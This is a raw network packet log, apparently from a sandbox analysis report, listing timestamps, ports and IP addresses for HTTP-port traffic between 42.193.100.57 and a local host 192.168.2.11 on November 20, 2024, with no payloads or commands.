        Nov 20, 2024 09:14:56.146559000 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.146569014 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.146570921 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.146580935 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.146593094 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.146603107 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.146608114 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.146608114 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.146626949 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.146637917 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.146642923 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.146642923 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.146650076 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.146661997 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.146688938 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.146733046 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.149266005 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.232156992 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.232254982 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.232265949 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.232279062 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.232290030 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.232300997 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.232311964 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.232322931 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.232337952 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.232337952 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.232387066 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.232469082 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.232520103 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.232563972 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.232574940 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.232609034 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.232650995 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.232748985 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.232768059 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.232779026 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.232789993 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.232800007 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.232810974 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.232812881 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.232812881 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.232836962 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.232851028 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.232857943 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.232857943 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.232907057 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.232918978 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.232930899 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.232944965 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.232944965 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.232985020 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.233103991 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.233114958 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.233125925 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.233163118 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.233181953 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.233284950 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.233303070 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.233314991 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.233331919 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.233342886 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.233349085 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.233352900 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.233352900 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.233360052 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.233371019 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.233381987 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.233392954 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.233392954 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.233405113 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.233422995 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.233441114 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.233464956 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.233535051 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.233547926 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.233558893 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.233592033 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.233697891 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.233707905 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.233719110 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.233731031 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.233741999 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.233752966 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.233757019 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.233766079 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.233776093 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.233787060 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.233797073 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.233800888 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.233800888 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.233836889 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.233836889 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.233958006 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.233971119 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.233980894 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.233994007 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.234004021 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.234014034 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.234023094 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.234023094 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.234025002 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.234041929 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.234052896 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.234087944 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.234087944 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.234117985 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.234306097 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.234318018 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.234327078 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.234338045 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.234349012 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.234368086 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.234368086 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.234395981 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.409996986 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.410018921 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.410032034 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.410043001 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.410053968 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.410064936 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.410082102 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.410132885 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.410168886 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.410181046 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.410192966 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.410223007 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.410235882 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.410249949 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.410252094 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.410264969 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.410288095 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.410300016 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.410310030 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.410311937 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.410322905 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.410334110 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.410336018 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.410362959 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.410387993 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.410418987 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.410429955 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.410439014 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.410449982 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.410459042 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.410461903 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.410466909 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.410466909 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.410506964 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.410526037 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.410537004 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.410547972 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.410557985 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.410568953 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.410581112 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.410592079 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.410610914 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.410644054 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.410655975 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.410666943 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.410677910 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.410691023 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.410706043 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.410731077 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.410768986 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.410779953 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.410793066 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.410803080 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.410815001 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.410815954 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.410828114 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.410834074 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.410839081 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.410871983 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.410882950 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.410908937 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.410921097 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.410932064 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.410942078 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.410950899 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.410972118 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.410996914 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.411027908 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.411040068 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.411050081 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.411060095 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.411071062 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.411086082 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.411098003 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.411118031 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.411184072 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.411195040 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.411205053 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.411216021 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.411226034 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.411238909 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.411243916 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.411245108 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.411252975 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.411274910 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.411325932 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.411328077 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.411338091 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.411350012 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.411360025 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.411375999 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.411391973 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.411402941 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.411408901 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.411411047 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.411422968 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.411448002 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.411521912 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.411640882 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.411653042 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.411663055 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.411673069 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.411683083 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.411688089 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.411695957 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.411705971 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.411706924 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.411717892 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.411720037 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.411734104 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.411745071 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.411748886 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.411772966 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.411775112 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.411787987 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.411792994 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.411798954 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.411843061 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.411880016 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.411890030 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.411892891 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.411906004 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.411919117 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.411927938 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.411928892 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.411942005 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.411952972 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.411957026 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.411966085 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.412000895 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.412089109 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.412103891 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.412117958 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.412127972 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.412136078 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.412143946 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.412156105 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.412169933 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.412242889 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.412251949 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.412264109 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.412273884 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.412285089 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.412295103 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.412305117 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.412311077 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.412324905 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.412324905 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.412354946 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.412364960 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.412374973 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.412384987 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.412395954 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.412405968 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.412411928 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.412415028 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.412431002 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.412442923 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.412445068 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.412458897 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.412470102 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.412470102 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.412487984 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.412513971 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.412648916 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.412659883 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.412708998 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.412722111 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.412734032 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.412744045 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.412760019 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.412770033 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.412770987 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.412796974 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.412807941 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.412832022 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.412843943 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.412854910 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.412864923 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.412873030 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.412899017 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.497054100 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.497066975 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.497078896 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.497113943 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.497124910 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.497134924 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.497143984 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.497157097 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.497169018 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.497179031 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.497189999 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.497227907 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.497227907 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.497275114 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.497286081 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.497298002 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.497308016 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.497323990 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.497328997 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.497337103 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.497349977 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.497383118 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.497391939 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.497394085 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.497391939 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.497405052 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.497417927 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.497426987 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.497446060 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.497452021 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.497463942 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.497471094 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.497472048 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.497478962 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.497519970 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.497551918 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.497572899 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.497584105 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.497606993 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.497617006 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.497623920 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.497625113 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.497627974 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.497639894 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.497648001 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.497653008 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.497667074 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.497670889 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.497679949 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.497689962 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.497704029 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.497740984 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.497802019 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.497814894 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.497826099 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.497836113 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.497852087 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.497860909 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.497885942 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.497898102 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.497910023 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.497920036 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.497931957 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.497937918 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.497945070 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.497965097 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.497989893 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.498146057 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.498157978 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.498167992 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.498177052 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.498187065 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.498194933 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.498198986 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.498212099 CET804970142.193.100.57192.168.2.11
